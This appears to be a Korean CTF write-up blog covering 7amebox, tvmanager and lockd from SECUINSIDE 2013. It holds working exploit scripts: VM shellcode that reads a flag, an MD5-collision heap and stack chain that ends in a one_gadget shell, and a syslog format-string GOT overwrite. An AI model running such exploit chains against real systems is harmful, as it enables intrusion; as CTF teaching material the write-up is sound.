    payload += b"\x44\x00"                  # inc r0
    payload += b"\x12\x10\x02\x00\x00"      # mov r1, 2
    payload += b"\x12\x20\x00\x3d\x3e"      # mov r2, 0xf5f00
    payload += b"\x12\x30\x28\x00\x00"      # mov r3, 40
    payload += b"\x20\x00"                  # syscall   ; read(2, buf, 40)
    payload += b"\x12\x00\x02\x00\x00"      # mov r0, 2
    payload += b"\x54\x11"                  # xor r1, r1
    payload += b"\x44\x10"                  # inc r1
    payload += b"\x12\x30\x28\x00\x00"      # mov r3, 40
    payload += b"\x20\x00"                  # syscall   ; write(1, buf, 40)
    payload += b"\x00\x00\x00\x00"
    payload += b"flag\x00"                  # "flag"
    payload += p21(0x12345)                 # canary
    payload += p21(0x0)                     # sfp
    payload += p21(0xf5f9e)                 # ret

buf 사이즈가 생각보다 빡빡해서 최적화를 신경써주어야 했다.

0x03. Payload

from pwn import *
from gameboxlib import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = False
BINARY = "7amebox-name"
LIBRARY = ""

gs = f'''
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        if DEBUG:
            gdb.attach(s, gs)

    s.recvuntil(b">")
    
    payload = b"\x54\x00"                   # xor r0, r0
    payload += b"\x44\x00"                  # inc r0
    payload += b"\x10\x1c"                  # mov r1, sp
    payload += b"\x2e\x10\x0e\x00\x00"      # sub r1, 0xe
    payload += b"\x20\x00"                  # syscall   ; open("flag") ; r0 = 2
    payload += b"\x44\x00"                  # inc r0
    payload += b"\x12\x10\x02\x00\x00"      # mov r1, 2
    payload += b"\x12\x20\x00\x3d\x3e"      # mov r2, 0xf5f00
    payload += b"\x12\x30\x28\x00\x00"      # mov r3, 40
    payload += b"\x20\x00"                  # syscall   ; read(2, buf, 40)
    payload += b"\x12\x00\x02\x00\x00"      # mov r0, 2
    payload += b"\x54\x11"                  # xor r1, r1
    payload += b"\x44\x10"                  # inc r1
    payload += b"\x12\x30\x28\x00\x00"      # mov r3, 40
    payload += b"\x20\x00"                  # syscall   ; write(1, buf, 40)
    payload += b"\x00\x00\x00\x00"
    payload += b"flag\x00"                  # "flag"
    payload += p21(0x12345)  # canary
    payload += p21(0x0)      # sfp
    payload += p21(0xf5f9e)  # ret

    s.sendline(payload)
    
    print(s.recvuntil(b'}'))

if __name__=='__main__':
    main()

SECUINSIDE CTF 2013 - tvmanager

2024-07-23T00:00:00+00:00

0x00. Introduction

[*] '/home/user/tvmanager'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structure

struct movie {
    int size;
    int category;
    char *name;
    struct movie *next;
    struct movie *prev;
}

Concept

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  read(0, name, 0x20u);
  name_len = strlen(name);
  md5_1FAE((int)name, name_len, (int)name_md5);
  sprintf(src, "/home/tvmanager/%s", name_md5);
  mkdir(src, 0x1F0u);
  if ( chdir(src) != -1 ) {
    while ( 1 ) {
    load_movies_145F();
      print_list_214E((int)menu_list_409C);
      printf("> ");
      _isoc99_scanf("%d", &choice);
      if ( choice == 1 ) list_1821();
      if ( choice == 2 ) register_18B0();
      if ( choice == 3 ) broadcast_1DA7();
      if ( choice == 4 ) exit(0);
    }
  }
  return -1;
}

입력받은 이름을 md5로 hash해서 경로를 만들고, movie를 등록할 때 마다 그 밑에 movie->name의 hash값으로 파일을 만들어 내용을 저장한다.

0x01. Vulnerability

MD5 collision

여러 가지 취약점이 존재하고 그것들을 종합해서 exploit을 해야하는데 그 중 가장 먼저 봐야할 것이 MD5 collision이다.

collision이란 입력한 문자열이 다른데 hash한 값이 같은 현상을 말하며, 이 입력값 한 쌍을 충돌쌍이라고 한다. 구글링해서 찾은 예시로는 다음이 있다.

# md5 collision - 79054025255fb1a26e4bc422aef54eb4
a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')

얼추 비슷해보이지만 자세히 보면 중간중간 몇 바이트가 다르다. 여담으로 중간중간 다른 몇 바이트가 \x00이나 \xff일 경우 문제 내에서 strcpy()나 fread()를 하는 과정에서 끊기기 때문에 상당히 골치아파지는데, 이를 잘 피해서 충돌쌍을 구하는 것이 좋다.

이렇게 hash값이 같은 충돌쌍을 이름으로 movie를 등록하게 되면,

int register_18B0()
{
  ...
  printf("Input title of movie > ");
  read(0, src, 256u);
  ...
    if ( !strcmp(movie_ptr->name, src) )
    {
      puts("[-] Duplicate title");
      return -1;
    }
    ...
      name_ptr = (size_t)malloc(src_len + 1);
      movie_new = (struct movie *)malloc(0x14u);
      movie_new->name = (char *)name_ptr;
      strcpy(movie_new->name, src);
      name_len = strlen(movie_new->name);
      md5_1FAE((int)movie_new->name, name_len, (int)src);
      fd = fopen(src, "wb");
      fwrite(contents, 1u, movie_new->size, fd);
      fclose(fd);
    ...
}

입력한 문자열은 다르기 때문에 strcmp(movie_ptr->name, src) 검사는 통과하게 되고, hash한 값은 같기 때문에 fd = fopen(src, "wb")에서 같은 파일을 열게 된다.

이러면 다음 취약점을 trigger할 수 있다.

Stack Overflow & Leak

첫 번째 movie_1의 size는 0x4, 두 번째 movie_2의 size는 0x1000으로 생성했다고 가정하자.

int broadcast_1DA7()
{
  ...
  char stack_buf[1024]; // [esp+24h] [ebp-414h] BYREF
  size_t size; // [esp+424h] [ebp-14h]
  void *contents; // [esp+428h] [ebp-10h]
  unsigned int canary; // [esp+42Ch] [ebp-Ch]
  ...
    canary = __readgsdword(0x14u);
    md5_1FAE((int)movie_ptr->name, v1, (int)src);
    fd = fopen(src, "rb");
    if ( size > 0x3ff ) {
      contents = malloc(size + 1);
      fread(contents, 1u, size, fd);
      sock_send_2038(contents, movie_ptr->size);
    }
    else {
      for ( i = 0; ; ++i )
      {
        tmp = fgetc(fd);
        if ( tmp == (char)'\xFF' )
          break;
        stack_buf[i] = tmp;
      }
      sock_send_2038(stack_buf, movie_ptr->size);
    }
  ...
}

그러면 movie_1로 broadcast를 했을 때 size가 0x4이므로 stack_buf에 파일 내용을 읽어 한 바이트씩 복사하게 된다. 그런데 movie_1을 생성하고 movie_2를 생성했으므로 현재 파일에는 0x1000바이트 길이의 내용이 쓰여져 있을 것이다. 위 코드에서는 \xff가 나올 때까지 stack_buf에 복사를 하므로 stack_buf 뒤의 size, contents는 물론 return address까지도 덮을 수 있다.

이렇게 아예 overflow를 내버리거나 다른 값들을 leak할 수 있는데, 이번에는 movie_1의 size는 0x3ff, movie_2의 size는 0x400으로 생성한 상황을 가정해보자. 이 때 movie_2의 내용 첫 바이트를 \xff로 한다면 바로 복사가 종료되어 한 바이트도 바꾸지 않은 stack의 상황을 볼 수 있다.

gef➤  x/4wx $esp+0x24
0xffffd864:     0x5655b6a0      0x5655b210      0x41414141      0x41414141
...
0xffffdc70:     0xf7dde000      0xf7dde000      0xffffdcf8      0x56556438

복사를 하는 시점의 stack 값들을 보면 다른 동작을 하다가 쓰여진 매력적인 값들이 많이 있는데, 한 번의 leak으로 stack, libc, code, heap 영역에 대한 leak이 가능하다.

문제는 canary인데, 이 때문에 stack leak이 필요하지만 movie_1의 size가 0x3ff보다 크면 취약점이 성립하지 않으므로 이 방법으로는 불가능하다. 따라서 다른 취약점이 필요하다.

Arbitrary Free

int broadcast_1DA7()
{
  ...
  char stack_buf[1024]; // [esp+24h] [ebp-414h] BYREF
  size_t size; // [esp+424h] [ebp-14h]
  void *contents; // [esp+428h] [ebp-10h]
...
      for ( i = 0; ; ++i )
      {
        tmp = fgetc(fd);
        if ( tmp == (char)'\xFF' )
          break;
        stack_buf[i] = tmp;
      }
    ...
    if ( size > 0x3ff )
      free(contents);
    ...
}

직전의 stack overflow 취약점을 이용하면 size와 contents를 조작할 수 있다.

마찬가지로 직전의 leak을 잘 수행했다면 heap에 대한 주소값이 있으므로, size를 0x3ff보다 큰 값으로 조작하고 offset을 계산해서 contents값을 조작하면 heap의 아무 chunk나 free()할 수 있게된다. 이렇게 free된 chunk는 bin으로 가서 같은 사이즈의 malloc()요청이 있을 때 그대로 사용되므로 우리가 원하는 길이만큼 malloc()을 할 수 있는 부분을 찾아보면,

int register_18B0()
{
  ...
  read(0, src, 256u);
      ...
      name_ptr = (size_t)malloc(src_len + 1);
      movie_new->name = (char *)name_ptr;
      strcpy(movie_new->name, src);
      ...
}

register()에서 movie의 이름을 저장하기 위한 name_ptr의 사이즈를 우리가 조절할 수 있고, 내용도 입력할 수 있다. 이를 이용해서 canary를 leak할 수 있다.

이후에는 다시 stack overflow 취약점을 이용해서 eip control을 하면 된다.

0x02. Exploit

Stack Leak

가장 먼저 할 것은 md5 collision을 이용한 stack leak이다.

    # md5 collision - 79054025255fb1a26e4bc422aef54eb4
    a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
    a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')

    # stack, heap, libc leak
    register(s, a1, 1, 0x3ff, b"A" * 0x3ff)          # index 1
    register(s, a2, 1, 0x400, b"\xff" * 0x400)       # index 2

    l = listen(7777)
    broadcast(s, 1, 0, 1, 7777)
    r = l.recv()

이렇게 movie_1을 0x3ff, movie_2를 0x400으로 생성하고 movie_2의 내용을 \xff으로 만들어서 한 바이트도 복사를 하지 않게끔 구성하면, stack_buf로부터 0x3ff 바이트의 오염되지 않은 stack leak이 가능하다.

여기에서 내용을 그냥 출력해주는 것이 아닌 broadcast로 IP, port를 지정해서 socket으로 보내주기 때문에 pwntools의 listen()을 사용했다.

[+] Trying to bind to :: on port 7777: Done
[+] Waiting for connections on :::7777: Got connection from ::ffff:172.17.0.2 on port 39690
[*] heap : 0x5655a000
[*] stack : 0xffffdc48
[*] libc : 0xf7c2b000

Arbitrary Free

이제 leak된 값들을 바탕으로 arbitrary free를 트리거해야하는데, 사실상 같은 취약점을 사용하지만 충돌쌍을 재활용하는 것이 어려우므로 새로운 충돌쌍을 사용했다.

    # md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
    b1 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef')
    b2 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef')

    # free(movie_1)
    register(s, b1, 1, 0x4, b"BBBB")                # index 3
    payload = b"C" * 0x400                          # buf
    payload += p32(0x400)                           # size
    payload += p32(heap + 0x11f8)                   # contents, movie_1
    register(s, b2, 1, len(payload), payload)       # index 4

    broadcast(s, 3, 0, 1, 7777)

위 payload과 같이 free를 위해 size를 0x400으로 조작했고 movie_1을 free하기 위해 contents 값을 조작했다. 이 free된 chunk를 다시 할당받기 위해서,

    # canary leak
    payload = b"DDDD"                   # size
    payload += b"\xff\xff\xff\xff"      # category
    payload += p32(stack + 0xa5)        # name, canary
    payload += p32(heap + 0x16a0)       # next, movie_2
    payload += b"EEE\x00"               # prev
    register(s, payload, 1, 0x4, b"XXXX")           # index 5

name이 struct movie와 같은 구조가 되게끔 payload를 작성해서 register를 실행했다.

이 때 category 값을 그냥 1로 하려고 했는데 strcpy(movie_new->name, src);를 통해서 name에 복사되기 때문에 중간에 \x00이 있으면 뒤 payload가 짤리게 된다. 그렇다고 category 값을 0x41414141과 같은 dummy 값으로 채우면 leak을 위해서 실행하는 list에서 OOB 에러가 발생한다.

int list_1821()
{
  ...
  while ( movie_ptr )
  {
    printf("%d )\nTitile : %s\nCategory : %s\n", count + 1, movie_ptr->name, category_list_40B0[movie_ptr->category]);
    movie_ptr = (struct movie *)movie_ptr->next_movie;
    ++count;
  }
  ...
}

그래서 -1을 의미하는 \xff\xff\xff\xff로 덮어서 두 제약을 한 번에 해결했다. 이 상태로 list를 호출하면 movie_ptr->name이 canary의 주소를 가리키므로 canary leak이 가능하다.

[*] canary : 0x72657400

EIP Control

이제 필요한 모든 정보를 가지고 있으므로 eip control이 가능하고, 실행시킬 곳은 one_gadget을 통해서 쓸만한 주소로 설정했다.

그러면 최종 payload는 다음과 같다.

    # md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
    c1 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD939C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1C3991DCD91C845E66EFD3DC7BB61523EF4E03849118569EBCC179C934F40EB3302AD20A4092DFB15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDE424F46C278759D8B65F450EA21C5591862FF7B')
    c2 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD9B9C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1439A1DCD91C845E66EFD3DC7BB61D23EF4E03849118569EBCC179C934F40EB3302AD20A4092D7B15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDEC24E46C278759D8B65F450EA21C5D91862FF7B')

    # eip control
    register(s, c1, 1, 0x4, b"FFFF")                # index 6
    payload = b"G" * 0x400              # buf
    payload += p32(0)                   # size
    payload += p32(0)                   # contents
    payload += p32(canary)              # canary
    payload += b"H" * 0xc               # dummy
    payload += p32(libc + 0x5fbd5)      # return
    register(s, c2, 1, len(payload), payload)       # index 7

    broadcast(s, 6, 0, 1, 7777)

여기에서도 마찬가지로 새로운 충돌쌍이 필요하고 leak한 libc 주소에 one shot 가젯의 offset을 더해서 return address에 써주면 쉘을 획득할 수 있다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os, socket, threading

DEBUG = True
BINARY = "tvmanager"
LIBRARY = "libc-2.23.so"

code_base = 0x56555000
movie_4100 = 0x56559100
src_4120 = 0x56559120
bp = {
    'read_of_main' : code_base + 0x134B,
    'scanf_of_main' : code_base + 0x13F7,
    'load_movies' : code_base + 0x145F,
    'list' : code_base + 0x1821,
    'register' : code_base + 0x18B0,
    'md5_of_register' : code_base + 0x1BB1,
    'strlen_of_register' : code_base + 0x1B17,
    'broadcast' : code_base + 0x1DA7,
    'malloc_of_broadcast' : code_base + 0x1F1F,
    'end_of_broadcast' : code_base + 0x1FAC,
    'sizecheck_of_broadcast' : code_base + 0x1F86,
}
gs = f'''
b *{bp['scanf_of_main']}
b *{bp["end_of_broadcast"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def login(s, name):
    s.recvuntil(b"> ")
    s.send(name)
    return s.recvuntil(b"> ")

def _list(s):
    s.sendline(b"1")
    sleep(0.1)
    return s.recvuntil(b"> ")

def register(s, title, category, size, contents):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.send(title)
    s.recvuntil(b"> ")
    s.sendline(str(category).encode())
    s.recvuntil(b"> ")
    s.send(str(size).encode())
    sleep(0.1)
    s.send(contents)
    return s.recv()

def broadcast(s, index, floor, room, channel):
    s.sendline(b"3")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    s.recvuntil(b"> ")
    s.sendline(f"{floor}-{room}-{channel}".encode())
    return s.recv(timeout=5)

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    login(s, os.urandom(4))
    # md5 collision - 79054025255fb1a26e4bc422aef54eb4
    a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
    a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')
    # md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
    b1 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef')
    b2 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef')
    # md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
    c1 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD939C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1C3991DCD91C845E66EFD3DC7BB61523EF4E03849118569EBCC179C934F40EB3302AD20A4092DFB15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDE424F46C278759D8B65F450EA21C5591862FF7B')
    c2 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD9B9C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1439A1DCD91C845E66EFD3DC7BB61D23EF4E03849118569EBCC179C934F40EB3302AD20A4092D7B15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDEC24E46C278759D8B65F450EA21C5D91862FF7B')

    # stack, heap, libc leak
    register(s, a1, 1, 0x3ff, b"A" * 0x3ff)         # index 1
    register(s, a2, 1, 0x400, b"\xff" * 0x400)      # index 2

    l = listen(7777)
    broadcast(s, 1, 0, 1, 7777)
    r = l.recv()

    heap = u32(r[0:4]) - 0x16a0
    stack = u32(r[0x324:0x328])
    libc = u32(r[0x320:0x324]) - 0x1b3da7
    log.info(f"heap : {hex(heap)}")
    log.info(f"stack : {hex(stack)}")
    log.info(f"libc : {hex(libc)}")

    # free(movie_1)
    register(s, b1, 1, 0x4, b"BBBB")                # index 3
    payload = b"C" * 0x400              # buf
    payload += p32(0x400)               # size
    payload += p32(heap + 0x11f8)       # contents, movie_1
    register(s, b2, 1, len(payload), payload)       # index 4

    broadcast(s, 3, 0, 1, 7777)

    # canary leak
    payload = b"DDDD"                   # size
    payload += b"\xff\xff\xff\xff"      # category
    payload += p32(stack + 0xa5)        # name
    payload += p32(heap + 0x16a0)       # next
    payload += b"EEE\x00"               # prev
    register(s, payload, 1, 0x4, b"XXXX")           # index 5

    r = _list(s)
    canary = u32(b"\x00" + r[0x3a:0x3d])
    log.info(f"canary : {hex(canary)}")

    # eip control
    register(s, c1, 1, 0x4, b"FFFF")                # index 6
    payload = b"G" * 0x400              # buf
    payload += p32(0)                   # size
    payload += p32(0)                   # contents
    payload += p32(canary)              # canary
    payload += b"H" * 0xc               # dummy
    payload += p32(libc + 0x5fbd5)      # return
    register(s, c2, 1, len(payload), payload)       # index 7
    
    broadcast(s, 6, 0, 1, 7777)
    
    s.interactive()

if __name__=='__main__':
    main()

SECUINSIDE CTF 2013 - lockd

2024-07-19T00:00:00+00:00

0x00. Introduction

[*] '/home/user/lockd'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

0x01. Vulnerability

Buffer Overflow

int main()
{
  ...
  printf("Input floor > ");
  __isoc99_scanf("%d", &floor_804A4C0);
  printf("Room number > ");
  __isoc99_scanf("%d", &room_804A0A0);
  if ( floor_804A4C0 <= 4 && room_804A0A0 <= 10 && !read_password_8048A7D() )
  {
    ...
  }
  return -1;
}

main()의 핵심적인 lock(), unlock() 기능을 사용하기 위해서는 floor_804A4C0, room_804A0A0 값을 범위에 맞게 입력하고, read_password_8048A7D()의 결과가 True여야 한다.

int read_password_8048A7D()
{
  FILE *fd; // [esp+10h] [ebp-38h]
  char buf[20]; // [esp+14h] [ebp-34h] BYREF
  char password[20]; // [esp+28h] [ebp-20h] BYREF
  int canary; // [esp+3c] [ebp-c]

  *&password[20] = __readgsdword(0x14u);
  fd = fopen("password", "rb");
  fread(password, 1u, 0x10u, fd);
  fclose(fd);
  *password_804A0A4 = *password;
  *&password_804A0A4[4] = *&password[4];
  *&password_804A0A4[8] = *&password[8];
  *&password_804A0A4[12] = *&password[12];
  printf("Input master key > ");
  read(0, buf, 40u);
  return memcmp(password, buf, 16u);
}

이 때 20바이트짜리 buf에 40바이트만큼 입력을 받기 때문에 지역변수 password를 덮을 수 있다.

FSB in `syslog`

int lock_8048877()
{
  printf("Input master key > ");
  read(0, fmt_0804A0C0, 20u);
  if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
    return -1;
  sprintf(fmt_0804A0C0, "./lock LOCK %d %d", floor_804A4C0, room_804A0A0);
  system(fmt_0804A0C0);
  printf("Your name > ");
  read(0, name_804A2C0, 0x190u);
  sprintf(fmt_0804A0C0, "LOCK %d-%d by %s", floor_804A4C0, room_804A0A0, name_804A2C0);
  syslog(13, fmt_0804A0C0);
  return 0;
}

password leak에 성공하면 lock()과 unlock()의 기능을 사용할 수 있다.

이 중에서 syslog()에 대해서 자세하게 살펴보면,

void syslog(int priority, const char *format, ...);

두 번째 인자 format은 format string으로, Linux manual page에서도 관련 내용을 확인할 수 있다.

Never pass a string with user-supplied data as a format, use the following instead: syslog(priority, "%s", string);

그런데 lock()에서는 syslog(13, fmt_0804A0C0); 형식으로 사용하고 있기 때문에 fmt_0804A0C0에 format string을 넣어주면 FSB가 발생한다.

다행히 name_804A2C0를 통해 fmt_0804A0C0에 format string을 전달할 수 있으므로, 취약점을 활용할 수 있다.

0x02. Exploit

Info Leak

int read_password_8048A7D()
{
  FILE *fd; // [esp+10h] [ebp-38h]
  char buf[20]; // [esp+14h] [ebp-34h] BYREF
  char password[20]; // [esp+28h] [ebp-20h] BYREF
  int canary; // [esp+3c] [ebp-c]

  *&password[20] = __readgsdword(0x14u);
  fd = fopen("password", "rb");
  fread(password, 1u, 0x10u, fd);
  fclose(fd);
  *password_804A0A4 = *password;
  *&password_804A0A4[4] = *&password[4];
  *&password_804A0A4[8] = *&password[8];
  *&password_804A0A4[12] = *&password[12];
  printf("Input master key > ");
  read(0, buf, 40u);
  return memcmp(password, buf, 16u);
}

read_password_8048A7D()를 보면 read()에서 40바이트를 읽으며 지역변수 password의 값을 조작할 수 있지만, lock()이나 unlock()에서는 전역변수 password_804A0A4의 값과 비교하기 때문에 의미가 없다.

대신 다른 공격이 가능한데, password의 마지막 1바이트를 남겨놓고 앞 부분은 buf와 같은 값으로 덮으면 1바이트씩 brute forcing이 가능하다.

따라서 다음과 같이 payload를 작성했다.

def guess_key(s):
    key = []
    for i in range(16):
        for j in range(256):
            s = remote("0.0.0.0", 8107)
            floor_and_room(s, 1, 2)
            payload = b"A" * (16 - len(key) - 1)
            payload += chr(j).encode()
            payload += ''.join(key).encode()
            payload += b"B" * 4
            payload += b"A" * (16 - len(key) - 1)
            s.send(payload)
            try:
                if s.recv():
                    key.insert(0, chr(j))
                    log.success(f"HIT : {key}")
                    s.close()
                    break
            except:
                s.close()
                continue
    return key

FSB

평소처럼 FSB를 활용하려면 payload를 %p %p %p %p ... 이런 식으로 구성해서 몇 번째 format string부터 $esp가 가리키는 부분인지 확인한다. 하지만 syslog()는 /var/log/syslog에 로그를 남길 뿐이라서 결과를 확인할 수가 없었다. 결국 %?$n에서 ?값을 늘려가며 언제 어디에 값이 써지는지 손으로 퍼징을 했다.

그 결과 $esp에서 n번째 메모리는 %(n + 2)$n으로 접근할 수있다는 것을 확인했다.

또한 우리가 입력한 format string만 출력되는 것이 아니라 "LOCK %d-%d by %s" 문자열의 %s 부분에 format string이 들어가므로 0xc바이트만큼 값이 더 써진다. 따라서 다음과 같이 payload를 작성했다.

    # %n$ -> pointing (n + 2)th dword from esp
    value = elf.got['sprintf']
    index = 26
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())

이제 exploit을 위해 syslog()를 호출할 때의 stack을 보면 다음과 같다.

gef➤  x/20wx $esp
0xffffdcc0:     0x0000000d      0x0804a0c0      0x00000001      0x00000002
0xffffdcd0:     0x0804a2c0      0x08048cb1      0xf7e760d9      0xf7fcd000
0xffffdce0:     0x00000000      0x00000000      0xffffdd18      0x0804883a
0xffffdcf0:     0x08048c9f      0xffffdd08      0x00000002      0x00000000
0xffffdd00:     0xf7fcd3c4      0xf7ffd000      0x00000001      0xf7fcd000
gef➤  x/20wx $esp + 0x50
0xffffdd10:     0x08048b90      0x00000000      0x00000000      0xf7e39af3
0xffffdd20:     0x00000001      0xffffddb4      0xffffddbc      0xf7feae6a
0xffffdd30:     0x00000001      0xffffddb4      0xffffdd54      0x0804a02c
0xffffdd40:     0x08048328      0xf7fcd000      0x00000000      0x00000000
0xffffdd50:     0x00000000      0x3cf1e46c      0x047ec07c      0x00000000
gef➤  x/20wx $esp + 0xa0
0xffffdd60:     0x00000000      0x00000000      0x00000001      0x08048670
0xffffdd70:     0x00000000      0xf7ff0660      0xf7e39a09      0xf7ffd000
0xffffdd80:     0x00000001      0x08048670      0x00000000      0x08048691
0xffffdd90:     0x08048724      0x00000001      0xffffddb4      0x08048b90
0xffffdda0:     0x08048c00      0xf7feb300      0xffffddac      0x0000001c
gef➤  x/20wx $esp + 0xf0
0xffffddb0:     0x00000001      0xffffdec4      0x00000000      0xffffded6
0xffffddc0:     0xffffdeec      0xffffdefd      0xffffdf0e      0xffffdf50
0xffffddd0:     0xffffdf56      0xffffdf66      0xffffdf73      0xffffdf89
0xffffdde0:     0xffffdfa3      0xffffdfb7      0xffffdfd1      0x00000000
0xffffddf0:     0x00000020      0xf7fda540      0x00000021      0xf7fda000
gef➤  x/20wx $esp + 0x140
0xffffde00:     0x00000033      0x000006f0      0x00000010      0x178bfbff
0xffffde10:     0x00000006      0x00001000      0x00000011      0x00000064
0xffffde20:     0x00000003      0x08048034      0x00000004      0x00000020
0xffffde30:     0x00000005      0x00000009      0x00000007      0xf7fdc000
0xffffde40:     0x00000008      0x00000000      0x00000009      0x08048670

모든 입력을 전역변수에 받기 때문에 stack에 있는 값을 잘 이용해서 exploit을 해야한다. 처음에는 4바이트가 한번에 써질거라고 생각을 못해서

gef➤  x/wx $esp + 0x64
0xffffdd24:     0xffffddb4
gef➤  x/wx 0xffffddb4
0xffffddb4:     0xffffdec4

0xffffddb4에 0x00 write

0xffffddb4: 0xffffde00

0xffffde00에 2바이트 write (하위 2바이트)

0xffffde00: 0x0000a03c

0xffffddb4에 0x02 write

0xffffddb4: 0xffffde02

0xffffde00에 2바이트 write (상위 2바이트)

0xffffde00: 0x0804a03c

0x0804a03c(sprintf got)에 2바이트 write

이런 식으로 exploit을 진행하려고 했으나, ASLR을 키고 나니까 상황이 달라졌다.

gef➤  x/wx $esp+0x64
0xff8ca684:     0xff8ca714
gef➤  x/wx 0xff8ca714
0xff8ca714:     0xff8caec4

ASLR이 꺼진 경우 0xffffddb4가 0xffffdec4를 가리키고 있어 0xffffde?? 영역을 컨트롤할 수 있는 반면

ASLR이 켜진 경우 0xff8ca714가 0xff8caec4를 가리키고 있어 0xff8cae?? 영역을 컨트롤할 수 있다.

이러면 sprintf()의 got 주소를 stack에 잘 구성해놓고 정작 %?$n으로 접근할 때 ? 값이 일정하지 않다는 문제가 발생한다. 그렇게 확률 이슈로 한참 고생을 하다가 알게 된 사실이 0x0804a03c가 한 번에 쓰여진다는 것인데, 그러면 exploit이 상당히 간결해진다.

0xffffddb4에 0x0804a03c(sprintf got) write

0xffffddb4: 0x0804a03c

0x0804a03c에 0x080485e0(system plt) write

0x0804a03c: 0x080485e0

참고로 sprintf()를 system()으로 덮는 아이디어는 첫 번째 인자에 내가 컨트롤할 수 있는 값이 들어가는 함수가 sprintf()밖에 없었다.

  read(0, fmt_0804A0C0, 20u);
  if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
    return -1;
  sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);

